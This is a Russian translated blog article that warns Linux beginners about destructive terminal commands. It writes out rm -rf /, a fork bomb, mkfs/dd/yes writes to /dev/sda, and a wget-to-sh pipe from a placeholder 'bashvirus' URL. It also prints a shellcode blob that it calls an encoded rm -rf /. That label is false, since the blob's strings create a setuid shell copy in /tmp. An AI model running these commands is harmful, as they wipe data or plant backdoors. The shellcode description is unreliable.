Список смертельных команд для Linux платнформы

Топ опасных команд для Ubuntu Linux

Выполнение команд в терминале в является довольно мощным  инструментом Linux платформы который в большей части не будет требовать дополнительного запроса на подтверждение, если вы запускаете команду, которая убивает вашу систему отформатировав диск или же повредив домашнюю директорию. 

самые смертельные команды для linux

Не редкость в наше время, вы возможно, спрашиваете в сети советов и иногда, а может и часто можете встречать очень тонкий троллинг, вам могут ответить предоставив команду для выполнения в терминале, вы еще новичок и не понимаете, что эта команда выполнят, вам могут посоветовать отформатировать вашу файловую систему и вы даже не будете знать об этом, изучайте команды для работы с терминалом, это вас спасет(убережет) от таких нелепых ситуаций, чтобы вы понимали, что эта команда выполняет и не выполняли что попало в консоли. Да, троль может над вами пошутить и вы должны достойно ответить такому тролю не выставив себя идиотом.

Ниже я приведу список таких команд, их не стоит выполнять, многие из этих команд очень опасны для стабильной работы системы, большинство команд требуют выполнения под рут правами и должны начинаться с команды Sudo. В Ubuntu и во всех дистрибутивах с семейства Debian - без рут прав большинство команд ничего не сможет удалить и требует чтобы вы дали на это право введя свой пароль, получив разрешение, и без дополнительных запросов как это встречается в Windows на каждом шаге. Вы можете отформатировать как файловую систему так и полностью удалить домашнюю директорию, после перезагрузив систему ваша Ubuntu более не загрузится. 

1. rm -rf / - Удалить все

Команда rm -rf /удаляет все возможное, в том числе файлы на жестком диске и файлы на подключенных съемных носителя. Эта команда будет вам более понятной, если ее расшифровать по частях.

RM - Удалить следующие файлы.
-rf - Выполнить RM рекурсивно (удалить все файлы и папки внутри указанной папке), удалить все файлы без запроса.
/ - Сообщает RM, что нужно начать с корневого каталога, который содержит все файлы на компьютере и все смонтированные устройства хранения данных, в том числе отдаленных общих файловых и съемных дисках.

Linux с удовольствием подчиняется этой команде и удалит все без запроса, так что будьте осторожны при использовании. Команда RM также может быть использована в других опасных способах - rm -rf ~ которая удалит все файлы в вашей домашней папке, в то время как rm -rf * удалит все файлы конфигурации.

Примечание: Остерегайтесь использования страшной комбинации в виде rm -rf /.

2. Закодированная команда rm -rf /

Вот можете встретить в сети Интернет еще один подарок в виде зашифрованного кода, который выполняет то же самое, что и rm -rf /, вот этот код:


char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Это шестнадцатеричная версия rm -rf / – выполнение этой команды уничтожит все ваши файлы так же как и при выполнении rm -rf /.

Примечание: будьте внимательны при выполнении скриптов(кода), который выглядит в зашифрованном виде, который вы не понимаете за что он отвечает и что выполняет.

3. :(){ :|: & };: Бомба написанная на Bash

Баш бомба

Следующая строка представляет собой простой вид, но очень опасная, функция на Bash:

:(){ :|: & };:

Это короткая строка определяет функцию оболочки, которая очень быстро создает новые копии себе подобной. Процесс непрерывно воспроизводит себя, и его копии постоянно клонируются, быстро загружают процессор и загружают всю свободную оперативную память. Это может привести компьютер к полному зависанию. Это ничем не похоже на команды выше, файлы не удаляются, это более похоже на ddos атаку, что в следствии ее выполнения вызовет полный отказ оборудования в обслуживании.

Примечание: Bash функции являются мощными, даже если они очень короткие, учтите это и как говорится, мотайте на ус.

4. mkfs.ext4 /dev/sda1 - Форматирование жесткого диска

Команда mkfs.ext4 /dev/sda1 является простой для понимания:

mkfs.ext4 - Создает новую файловую систему ext4 на следующем устройстве.
/dev/sda1  - Задает первый раздел на первом жестком диске, который, вероятней всего используется под корневую файловую систему.

Если связать данную команду вместе, эта команда может быть эквивалентна запуску Format C: на Windows, что сотрет файлы на первом разделе и заменит их новой файловой системой.

Эта команда может выполняться так же и в других формах, а также - mkfs.ext3 /dev/sdb2 что в итоге отформатирует второй раздел на втором жестком диске с файловой системой ext3.

Примечание: Остерегайтесь выполнения команд непосредственно для управления жестким дисками, которые начинаются с /dev/sd.

5. command > /dev/sda - конкретная запись на нашу файловую систему(жесткий диск)

Команда command > /dev/sda работает аналогично команде выше, она выполняет команду и посылает вывод этой команды непосредственно на корневой жесткий диск, записывая данные непосредственно на жесткий диск и таким методом повреждая файловую систему.

command - Выполнить команду (может быть любая команда)
> - Отправьте вывод команды по следующему адресу.
/dev/sda - Записать вывод команды непосредственно на устройство путь которого здесь прописывается, в нашем случае это жесткий диск(файловая система).

Примечание:  Как и выше я уже говорил, остерегайтесь выполнения команд, которые повлекут за собой повреждения целостности файловой системы.

6. dd if=/dev/random of=/dev/sda - Убийственное копирование данных

Команда dd if=/dev/random of=/dev/sda также уничтожит данные на одном из ваших жестких дисков.
dd - Выполняет низкоуровневого копирования из одного места в другое.
if=/dev/random - Использование /dev/random (случайные данные) забивает вашу файловую систему пустыми значениями (случайными данными).
of=/dev/sda - Записать на первый жесткий диск, заменив его файловую систему на случайные мусорные данные, что в итоге выведет из строя нашу файловую систему.

Примечание: dd копирует данные из одного места в другое, которые могут быть опасными, если вы копируете непосредственно на жесткий диск, будьте очень внимательны.

Смерть жесткому диску

7. mv ~ /dev/null - Перемещаем домашнюю директорию в черную дыру

Команда mv ~ /dev/null является очень опасной так как указав в ней  - mv ~ /dev/null это практически то же самое, что отформатировать домашнюю директорию. Задумайтесь /dev/null работает, как черная дыра. Если быть точнее, то mv ~ /dev/null отправляет все личные файлы в неизвестность, что можно сравнить с черной дырой в космосе.

mv - Переместить следующий файл или каталог в другое место.
~  - Указывает конкретно на нашу домашнюю папку.
/dev/null - Разрушает все наши файлы удаляя их полностью не оставляя никакой возможности для восстановления.

Примечание: ~ символ представляет наш(ваш) ​​домашний каталог и перемещая файлы в /dev/null повреждая их.

8. wget http://site.ru/bashvirus -O - | sh - Загрузка и запуск скрипта в автоматическом режиме

Код выше загружает скрипт из сети Интернет и отправляет его на выполнение SH(bash), который выполняет содержимое сценария вне зависимости от того, что будет прописано внутри. Это может быть как опасно, так и нет, если вы не уверены, что скрипт выполняет то что вам нужно, вы не понимаете или не доверяете его источнику - желательно не запускать подобных ненадежных скриптов.

Wget - данная утилита загружает файл.
http://site.ru/bashvirus - указывает, что нужно скачать файл из папки bashvirus(я конечно назвал папку более конкретно чтобы было понятно, но используя подобную комбинацию в сети, вы можете и не встретить таких скриптеров). 
| - Указывает, что выход с команды Wget (загруженный файл) нужно непосредственно перенаправить на исполнение другой команде. 
sh - Отправить файл на выполнение в sh, который запустится, если это Баш скрипт.

Примечание: Не загружайте и не запускайте ненадежные скрипты из сети Интернет, прежде выполнять, проверьте отзывы или комментарии пользователей к материалу, если их нет вся ответственность за возможные последствия лежит исключительно на вас.

9. any_command > /dev/sda - Запись необработанных данных в блоковые файлы

Данная команда записывает все необработанные данные прямиком в блоковые файлы(block special files), что соответственно легко разрушает файловую систему, после чего в любом случае потребуется переустановка.

10. yes > /dev/sda - Заполнение раздела жесткого диска(файловой системы) символами "y"

Эта команда заполняет раздел жесткого диска(файловой системы) символами "y", что соответственно вызовет разрушение файловой системы.

11. rm -rf /boot/ - Полное удаление ядра initrd , и файлов загрузчика GRUB/LILO

Команда выше, полностью удалит ядро и файлы загрузчиков которые требуются для загрузки системы, если удалить, соответственно после этого система уже не запустится и потребуется переустановка системы, восстановление здесь уже не спасет.

12. rm /bin/init && cd / ; find -iname init -exec rm -rf {} \;

Данная команда удалит все файлы, содержащие в названии 'init', включая /sbin/init другими словами говоря, удаление файлов которые требуются для стабильной работы ядра Linux удалив которые система более на запустится.

Это лишь вершина айсберга списка опасных команд, их существует очень много, делимся такими командами в комментариях к материалу, только не выполняйте их в терминале, это грозит будущей переустановкой системы.

На этом пожалуй все, если у вас имеются предложения, пожалуйста, дополняйте данный материал и другими возможными вариантами команд которые убивают работоспособность Linux.

Перевод: howtogeek.com

Лицензия: CC BY-SA 4.0

Похожие материалы:
Помогла ли вам статья?
Да Нет
Статья оказалась полезной для 0 человек
y
if=/dev/random - Использование /dev/random (случайные данные) забивает вашу файловую систему пустыми значениями в виде нолей.
не нолей, поправьте.
P
Опасно только из под рута ay
Ю
Спасибо. Исправили!
avatar